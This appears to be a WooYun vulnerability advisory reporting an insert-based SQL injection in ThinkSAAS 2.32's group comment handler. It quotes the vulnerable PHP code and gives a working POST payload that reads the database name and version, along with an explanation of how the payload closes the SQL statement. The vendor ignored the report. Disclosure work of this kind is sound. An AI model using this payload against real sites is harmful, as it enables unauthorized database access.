当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(2) 关注此漏洞

缺陷编号: WooYun-2015-110261

漏洞标题: ThinkSAAS SQL注入

相关厂商: thinksaas.cn

漏洞作者: Mr .LZH

提交时间: 2015-05-04 11:32

公开时间: 2015-08-07 11:35

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

0人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-04: 细节已通知厂商并且等待厂商处理中
2015-05-09: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-07-03: 细节向核心白帽子及相关领域专家公开
2015-07-13: 细节向普通白帽子公开
2015-07-23: 细节向实习白帽子公开
2015-08-07: 细节向公众公开

简要描述:

ThinkSAAS SQL注入

详细说明:

版本 ThinkSAAS 2.32 目前最新版。



app\group\action\do.php 281行

code 区域
//回复评论
case "recomment":

if($_POST['token'] != $_SESSION['token']) {
echo 1;exit;
}

$referid = intval($_POST['referid']);
$topicid = intval($_POST['topicid']);
$content = tsClean($_POST['content']);
$addtime = time();

$db->query("insert into ".dbprefix."group_topic_comment (`referid`,`topicid`,`userid`,`content`,`addtime`) values ('$referid','$topicid','$userid','$content','$addtime')");//---------------注入在这里

//统计评论数
$count_comment = $db->once_num_rows("select * from ".dbprefix."group_topic_comment where topicid='$topicid'");

//更新帖子最后回应时间和评论数
$uptime = time();

$db->query("update ".dbprefix."group_topic set uptime='$uptime',count_comment='$count_comment' where topicid='$topicid'");

$strTopic = $db->once_fetch_assoc("select * from ".dbprefix."group_topic where topicid='$topicid'");
$strComment = $db->once_fetch_assoc("select * from ".dbprefix."group_topic_comment where commentid='$referid'");

if($topicid && $strTopic['userid'] != $TS_USER['user']['userid']){
$msg_userid = '0';
$msg_touserid = $strTopic['userid'];
$msg_content = '你的帖子:《'.$strTopic['title'].'》新增一条评论,快去看看给个回复吧^_^ <br />'.tsUrl('group','topic',array('id'=>$topicid));
aac('message')->sendmsg($msg_userid,$msg_touserid,$msg_content);
}

if($referid && $strComment['userid'] != $TS_USER['user']['userid']){
$msg_userid = '0';
$msg_touserid = $strComment['userid'];
$msg_content = '有人评论了你在帖子:《'.$strTopic['title'].'》中的回复,快去看看给个回复吧^_^ <br />'.tsUrl('group','topic',array('id'=>$topicid));
aac('message')->sendmsg($msg_userid,$msg_touserid,$msg_content);
}

echo 0;exit;

break;





post变量全局做了转义,$content = tsClean($_POST['content']);这行去除了转义,导致可绕过单引号限制。



tsClean除去转义后做了一些过滤,但不影响注入。

code 区域
function tsClean($text) {
$text = stripslashes(trim($text));//--------转义在这
//去除前后空格,并去除反斜杠
//$text = br2nl($text); //将br转换成/n





$_POST['content']变成$content并带入sql语句。

复现过程:



新建小组,发布帖子,访问**.**.**.**/thinksaas/index.php?app=group&ac=topic&id=1 (id为小组帖子的id)



接着发送如下请求:

code 区域
**.**.**.**/thinksaas/index.php?app=group&ac=do&ts=recomment

post数据:token=5a64c8da0a7550eca1e841033f1cc294bcc60913&referid=1&topicid=1&content=\:',11),('22',1,'1',(select concat((DATABASE()),char(45),(VERSION()))),11),(1,1,3,'





最后会执行这样的sql语句。

code 区域
insert into ts_group_topic_comment (`referid`,`topicid`,`userid`,`content`,`addtime`) values ('1','1','1','
&lt;p&gt;\:',11),('22',1,'1',(select concat((DATABASE()),char(45),(VERSION()))),11),(1,1,3,'&lt;/p&gt;
','1429281506')





因为是insert类型的注入,我通过写入3条数据来实现利用。

code 区域
\:',11)用来闭合第一条记录,因为addtime是int型,无法写入string,难利用。





code 区域
('22',1,'1',(select concat((DATABASE()),char(45),(VERSION()))),11)用来注入拿到数据。





code 区域
(1,1,3,'用来闭合最后的内容,因为tsClean($_POST['content']);后前后会被加入回车和<p>,导致sql语句被分成3行,能控制的数据只在第二行,所以构造这个闭合成完整sql语句。





数据包中token可以在**.**.**.**/thinksaas/index.php?app=group&ac=topic&id=1获取到。准确点说,post数据应该是这样:

code 区域
token=token值&referid=1&topicid=帖子id&content=\:',11),('22',帖子id
,'1',(select concat((DATABASE()),char(45),(VERSION()))),11),(1,帖子id,3,'





发送注入请求:

aaa.png





访问**.**.**.**/thinksaas/index.php?app=group&ac=topic&id=1查看注入结果,出现了3条数据。

bbb.png





漏洞证明:

很无奈,搜索引擎上面找到的站点都被上了waf,官网demo使用加速乐,所以只做了本地复现。谅解一下。

修复方案:

过滤

版权声明:转载请注明来源 Mr .LZH@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-08-07 11:35

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-08-07 13:47 | BeenQuiver ( 普通白帽子 | Rank:103 漏洞数:27 | 专注而高效,坚持好的习惯千万不要放弃)
    0

    吊吊吊

登录后才能发表评论,请先 登录